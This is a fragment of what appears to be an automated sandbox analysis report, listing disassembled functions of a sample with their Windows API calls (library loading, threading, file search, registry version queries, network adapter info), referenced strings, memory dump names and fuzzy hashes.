Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: FindPath$CloseFullName_wcsrchr$ErrorFileFirstLast
String ID: *.*$\\?\$\\?\UNC\
API String ID: 726989864-1700010636
Opcode ID: 8be020b9dacda96fc5f4251eeb3af0e015c899df76c4913aa34a187e70646611
Instruction ID: a3095aef8ef793d01d475bb8c0f0a3b8072d3e08f0f5fcb0356d85b5c680a051
Opcode Fuzzy Hash: 8be020b9dacda96fc5f4251eeb3af0e015c899df76c4913aa34a187e70646611
Instruction Fuzzy Hash: 5EC1C270600605EFDB05EF68C99CB59B7F5EF45314F12822AE925DB2A2EF31A924CB50

Uniqueness

Uniqueness Score: -1.00%

Function 002F42C0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 43
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,00000000,002D93DB,?,?,?,?,?), ref: 002F42D5

Strings

InitExtraction, xrefs: 002F430D
EndExtraction, xrefs: 002F4339
ExtractAllFiles, xrefs: 002F4327
GetTotalFilesSize, xrefs: 002F4315

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: LibraryLoad
String ID: EndExtraction$ExtractAllFiles$GetTotalFilesSize$InitExtraction
API String ID: 1029625771-3462492388
Opcode ID: 58106f669088608c9cbd8598d99cc0fc5f29460e3933b52be5d089bc7a8552cf
Instruction ID: 66b345f8b38d1a74394569a3378c48ffda22fc153a793ca149e13083457923fd
Opcode Fuzzy Hash: 58106f669088608c9cbd8598d99cc0fc5f29460e3933b52be5d089bc7a8552cf
Instruction Fuzzy Hash: 5A01B5B69403159BCB15AF65FC149667FA1F78A31B7000236EA0547362C734D861DF88

Uniqueness

Uniqueness Score: -1.00%

Function 002F5320 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 329
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,DF534560,?,?,00000000,?,?,?,?,003BB91D,000000FF,?,002D985E), ref: 002F5360
CreateThread.KERNEL32(00000000,00000000,002F56E0,?,00000000,?), ref: 002F5396
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 002F549F
GetExitCodeThread.KERNEL32(00000000,?), ref: 002F54AA
CloseHandle.KERNEL32(00000000), ref: 002F54CA

Part of subcall function 001C7340: RaiseException.KERNEL32(DF534560,DF534560,00000000,00000000,002F56DB,C000008C,00000001,DF534560), ref: 001C734C

WaitForSingleObject.KERNEL32(?,000000FF,DF534560,00000000,?,?,00000001), ref: 002F5534

Strings

t=, xrefs: 002F54BE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CreateObjectSingleThreadWait$CloseCodeEventExceptionExitHandleRaise
String ID: t=
API String ID: 4001640722-4144653439
Opcode ID: d5efec8e674ac248f276385d652e0687472d24214e5daa74eb34af3cb1de01db
Instruction ID: e3a0c949cafa1ad1abcbc306f72783219aa15083a0a257afcd4dd2f7fd733831
Opcode Fuzzy Hash: d5efec8e674ac248f276385d652e0687472d24214e5daa74eb34af3cb1de01db
Instruction Fuzzy Hash: 4CD16D75A10A1A9FCB14CF68C884AAAFBF5FF48354F144269EA15EB361D730E950CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00276110 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 228libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00276151

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

_wcschr.LIBVCRUNTIME ref: 0027620F

Part of subcall function 001B9120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,001BCB50,-00000010,?,002F55F7,00000008,DF534560), ref: 001B9143

LoadLibraryExW.KERNEL32(?,00000000,00000000,-00000010), ref: 00276224

Strings

b^4, xrefs: 00276474
Kernel32.dll, xrefs: 0027612C, 002761FF, 00276200, 00276294

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$DirectoryFindHeapLibraryLoadProcessResourceSystem_wcschr
String ID: Kernel32.dll$b^4
API String ID: 1122257418-2935090243
Opcode ID: b7b364ab7e19163556bfd86bd29f94ba43aa32af219001b09e89fd51f424735e
Instruction ID: 914be9d408c00c447842c4c4a56edc6d11ba81a2376bff51fcc4dbc8b03a8bbf
Opcode Fuzzy Hash: b7b364ab7e19163556bfd86bd29f94ba43aa32af219001b09e89fd51f424735e
Instruction Fuzzy Hash: F9A18AB0500A46EFE714CF64C818B9ABBF4FF05318F14825DE8199B6C1D7BAA619CF90

Uniqueness

Uniqueness Score: -1.00%

Function 002E3330 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 125COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 002E340A

Strings

\, xrefs: 002E3384
\, xrefs: 002E338C
\, xrefs: 002E33AE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: DiskFreeSpace
String ID: \$\$\
API String ID: 1705453755-3791832595
Opcode ID: e3b9bcc6b8c42576c73189ef88bcb4d1968a10575131cae0a7aa7bd69526dd8f
Instruction ID: b1011aad09a15eb0e5e7cfcd5948e443a51b295f1cf774959dc132bdc8a15afd
Opcode Fuzzy Hash: e3b9bcc6b8c42576c73189ef88bcb4d1968a10575131cae0a7aa7bd69526dd8f
Instruction Fuzzy Hash: DD412732D60382C6CB30DF268448AABB3F4FF95355F95466EE8C897180E7308E9583C6

Uniqueness

Uniqueness Score: -1.00%

Function 6A5651D0 Relevance: 6.1, APIs: 4, Instructions: 84fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,AA831995,?), ref: 6A565266
FindClose.KERNEL32(00000000), ref: 6A56529E

Part of subcall function 6A547AD0: HeapAlloc.KERNEL32(00000000,00000000,?,AA831995,00000000,6A58C150,000000FF,?,?,6A5C9EAC,?,6A565A1D,80004005), ref: 6A547B1A

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Find$AllocCloseFileFirstHeap
String ID:
API String ID: 2507753907-0
Opcode ID: 996362ccc256c971d20d196b3e5e421a9e78d12d5c9c07c3885129681b3f6a80
Instruction ID: 9238f08c2ea1a6aebb34d8dbf292d0b3ec3038addc6e35bc937635113be80dc4
Opcode Fuzzy Hash: 996362ccc256c971d20d196b3e5e421a9e78d12d5c9c07c3885129681b3f6a80
Instruction Fuzzy Hash: 2931D130984318DBDF24DF54C808B5EB7B4FB06724F11479EE926A72A1DB746940CB81

Uniqueness

Uniqueness Score: -1.00%

Function 002B6160 Relevance: 4.6, APIs: 3, Instructions: 93fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00000000,-00000010,?,00000000), ref: 002B61FD
FindClose.KERNEL32(00000000), ref: 002B625C

Part of subcall function 001B9AE0: RtlAllocateHeap.NTDLL(?,00000000,?,DF534560,00000000,00371390,000000FF,?,?,0044E7AC,?,001BCB99,80004005,DF534560,-00000010,?), ref: 001B9B2A

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Find$AllocateCloseFileFirstHeap
String ID:
API String ID: 1673784098-0
Opcode ID: 95e04233c370a364a89a053704084de374c77922dca283578b5bb6a792429757
Instruction ID: 17bba0c1d5a4992e8be6191a57d0c880948991c9f05013ee9151b2f40b1f4632
Opcode Fuzzy Hash: 95e04233c370a364a89a053704084de374c77922dca283578b5bb6a792429757
Instruction Fuzzy Hash: 2E31EF70914218DBEB25DF19C84CBAEF7B8EB49350F20826AED19A7380DB756D54CB80

Uniqueness

Uniqueness Score: -1.00%

Function 002D9F30 Relevance: 3.4, APIs: 2, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess
String ID:
API String ID: 275895251-0
Opcode ID: 0dffbb1be7e6ae358d9edc96823d27ef74be3437ddd724cba12b6e6af6304ba5
Instruction ID: b5c5deb0e2a0fe9d186f453d218d38d94d4471455f993560e6c91c003a442fe6
Opcode Fuzzy Hash: 0dffbb1be7e6ae358d9edc96823d27ef74be3437ddd724cba12b6e6af6304ba5
Instruction Fuzzy Hash: E6E19E30A1064ADFDB11CFA8C884BAEB7F5FF44314F1482AAE915AB391D774AE05CB51

Uniqueness

Uniqueness Score: -1.00%

Function 002B5B90 Relevance: 3.1, APIs: 2, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f90eed75c6420078eb2390ff65690ef3021b3351309e5ddb98d61d1ee80bed8a
Instruction ID: 2c4886378dc80edf1a81803409e7e8bc245f5ab5da4844e6320c88d8358a0ca9
Opcode Fuzzy Hash: f90eed75c6420078eb2390ff65690ef3021b3351309e5ddb98d61d1ee80bed8a
Instruction Fuzzy Hash: 5B41BF30521B9A9FDB24DF68CD58BED77A5FF00310F548229E8159B2D1DB74AE14CB40

Uniqueness

Uniqueness Score: -1.00%

Function 002F05F0 Relevance: 3.1, APIs: 2, Instructions: 86filepipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeW.KERNEL32(?,00000003,00000006,000000FF,00007F90,00007F90,00001388,00000000,?,DF534560,DF534560,?,?,?,?,00000000), ref: 002F0679
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,00000000,00000000,?,DF534560,DF534560,?,?,?,?,00000000,00371875), ref: 002F069A

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Create$FileNamedPipe
String ID:
API String ID: 1328467360-0
Opcode ID: e718cc3dd5904fd4f9ef4a44d98b90ed2d8a9aaadc1b721b8a36b242b54a627e
Instruction ID: 5b3638b741a01e7532934f075b0401b59baaf19a35037cf713b4968bc0eadfab
Opcode Fuzzy Hash: e718cc3dd5904fd4f9ef4a44d98b90ed2d8a9aaadc1b721b8a36b242b54a627e
Instruction Fuzzy Hash: D431D132A8474AAFE721CF14CC05BA9FBA8EB01760F10822EF969966D1D771A950CB44

Uniqueness

Uniqueness Score: -1.00%

Function 001E6D50 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__set_se_translator.LIBVCRUNTIME ref: 001E6D68
SetUnhandledExceptionFilter.KERNEL32(002B4F70), ref: 001E6D7E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ExceptionFilterUnhandled__set_se_translator
String ID:
API String ID: 2480343447-0
Opcode ID: 2640c586268e69b44d04704133434dfd8bcbda16c126669114b1ac8bd62883ee
Instruction ID: 2f9fbefa94a43a0a14e4d52dde50447fa715a32126c57fc35ce1af9d92b7e9e1
Opcode Fuzzy Hash: 2640c586268e69b44d04704133434dfd8bcbda16c126669114b1ac8bd62883ee
Instruction Fuzzy Hash: F1E07D366403406ED701A791BC49FDB3F94EB97B11F054026F5446B163C370A440C3A2

Uniqueness

Uniqueness Score: -1.00%

Function 6A545650 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetAdaptersInfo.IPHLPAPI(00000000,6A545777,00000004,00000034,?,?,00000000,6A545777), ref: 6A5456BB

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: 4d4907d4ed9876511bbee467219406aafe0e8e02976798527ff378ece9f731e9
Instruction ID: 2b27ba286c93d0e78fd7aa8307c6d88c7cab1134c7674b6a392483ee743376fb
Opcode Fuzzy Hash: 4d4907d4ed9876511bbee467219406aafe0e8e02976798527ff378ece9f731e9
Instruction Fuzzy Hash: 4C21F671601201AFE368CE28CD98A1AB7EAFBC5300F508A3EE506C7644DF70BC048750

Uniqueness

Uniqueness Score: -1.00%

Function 002F5A30 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess
String ID:
API String ID: 275895251-0
Opcode ID: 5aff01162672ac197748696b69125fc239c06a97924343cb9dd36f3fbeb43ff7
Instruction ID: 108f169e656bc07feead2960dfd27abe4d6859a9f43df5e1afe3c2c99209a7c3
Opcode Fuzzy Hash: 5aff01162672ac197748696b69125fc239c06a97924343cb9dd36f3fbeb43ff7
Instruction Fuzzy Hash: 186147B0500B49DFD711CF24C54839AFBE0FF05308F148A5ED68A9B392D7B5AA0ACB81

Uniqueness

Uniqueness Score: -1.00%

Function 6A563AF0 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 247
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563B5A
RegQueryValueExW.KERNEL32(?,CurrentMajorVersionNumber,00000000,00000000,?,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563B8F
RegQueryValueExW.KERNEL32(?,CurrentMinorVersionNumber,00000000,00000000,?,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563BA5
RegQueryValueExW.ADVAPI32(?,CurrentVersion,00000000,00000000,?,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563BCB
RegQueryValueExW.KERNEL32(?,CurrentBuildNumber,00000000,00000000,?,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563C34
RegQueryValueExW.ADVAPI32(?,BuildBranch,00000000,00000000,?,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563C8D
RegQueryValueExW.KERNEL32(?,ReleaseId,00000000,00000000,?,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563CE4
RegQueryValueExW.KERNEL32(?,CSDVersion,00000000,00000000,?,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563D23
GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563DBE
GetProcAddress.KERNEL32(00000000), ref: 6A563DC5
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563DF6
IsWow64Process.KERNEL32(00000000,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563DFD
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000000,6A59E429,000000FF), ref: 6A563E2E

Strings

CurrentMinorVersionNumber, xrefs: 6A563B9D
co_release, xrefs: 6A563C95
CurrentBuildNumber, xrefs: 6A563C2C
kernel32, xrefs: 6A563DB9
BuildBranch, xrefs: 6A563C85
CurrentVersion, xrefs: 6A563BC3
ReleaseId, xrefs: 6A563CDC
CSDVersion, xrefs: 6A563D1B
rs_prerelease, xrefs: 6A563CAD
IsWow64Process, xrefs: 6A563DB4
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 6A563B50
CurrentMajorVersionNumber, xrefs: 6A563B87

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: QueryValue$Process$AddressCloseCurrentHandleModuleOpenProcWow64
String ID: BuildBranch$CSDVersion$CurrentBuildNumber$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$IsWow64Process$ReleaseId$Software\Microsoft\Windows NT\CurrentVersion$co_release$kernel32$rs_prerelease
API String ID: 2654979339-525127412
Opcode ID: cb5799a802ffcc71dd4a6127acf32c4e6e9587f008ac134bdcdc24b63edfda0c
Instruction ID: 4166c3ea587f84159c387a20bc11e423b752cc4cfe2d9b2cd6236814bc9b7810
Opcode Fuzzy Hash: cb5799a802ffcc71dd4a6127acf32c4e6e9587f008ac134bdcdc24b63edfda0c
Instruction Fuzzy Hash: 3BA160B1900219AFDF21DF64CD44BEEBBF8FB04715F110126E915EB291EB74AA44CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 002BB030 Relevance: 42.2, APIs: 11, Strings: 13, Instructions: 247
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 002BB09E
RegQueryValueExW.KERNEL32(00000000,CurrentMajorVersionNumber,00000000,00000000,?,?), ref: 002BB0E5
RegQueryValueExW.KERNEL32(00000000,CurrentMinorVersionNumber,00000000,00000000,?,00000004), ref: 002BB104
RegQueryValueExW.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,?,?), ref: 002BB1A8
RegQueryValueExW.KERNEL32(00000000,ReleaseId,00000000,00000000,?,?), ref: 002BB274
RegQueryValueExW.KERNEL32(00000000,CSDVersion,00000000,00000000,?,?), ref: 002BB2C6
GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 002BB363
GetProcAddress.KERNEL32(00000000), ref: 002BB36A
__Init_thread_footer.LIBCMT ref: 002BB37E
GetCurrentProcess.KERNEL32(?), ref: 002BB3A1
IsWow64Process.KERNEL32(00000000), ref: 002BB3A8

Strings

rs_prerelease, xrefs: 002BB231
kernel32, xrefs: 002BB35E
IsWow64Process, xrefs: 002BB359
co_release, xrefs: 002BB219
>, xrefs: 002BB3D3
CurrentMajorVersionNumber, xrefs: 002BB0DA
CurrentMinorVersionNumber, xrefs: 002BB0F9
CurrentVersion, xrefs: 002BB128
BuildBranch, xrefs: 002BB206
CurrentBuildNumber, xrefs: 002BB19D
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 002BB094
ReleaseId, xrefs: 002BB269
CSDVersion, xrefs: 002BB2BB

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: QueryValue$Process$AddressCurrentHandleInit_thread_footerModuleOpenProcWow64
String ID: BuildBranch$CSDVersion$CurrentBuildNumber$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$IsWow64Process$ReleaseId$Software\Microsoft\Windows NT\CurrentVersion$co_release$kernel32$rs_prerelease$>
API String ID: 3644797652-1124079873
Opcode ID: 5e861df92ec5c4caff7f81ecab6d257d062a4ed4901db1b079b224ac6777868c
Instruction ID: 5cdb9d73d6887f10a7282b91c522453796a6713a10739285096aac378bc23604
Opcode Fuzzy Hash: 5e861df92ec5c4caff7f81ecab6d257d062a4ed4901db1b079b224ac6777868c
Instruction Fuzzy Hash: E2A18D71910369DADB21DF20CC45BEEB7F8FB04745F0441EAE949A6191EBB4AA84CF84

Uniqueness

Uniqueness Score: -1.00%

Function 002BB410 Relevance: 42.2, APIs: 4, Strings: 20, Instructions: 220
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

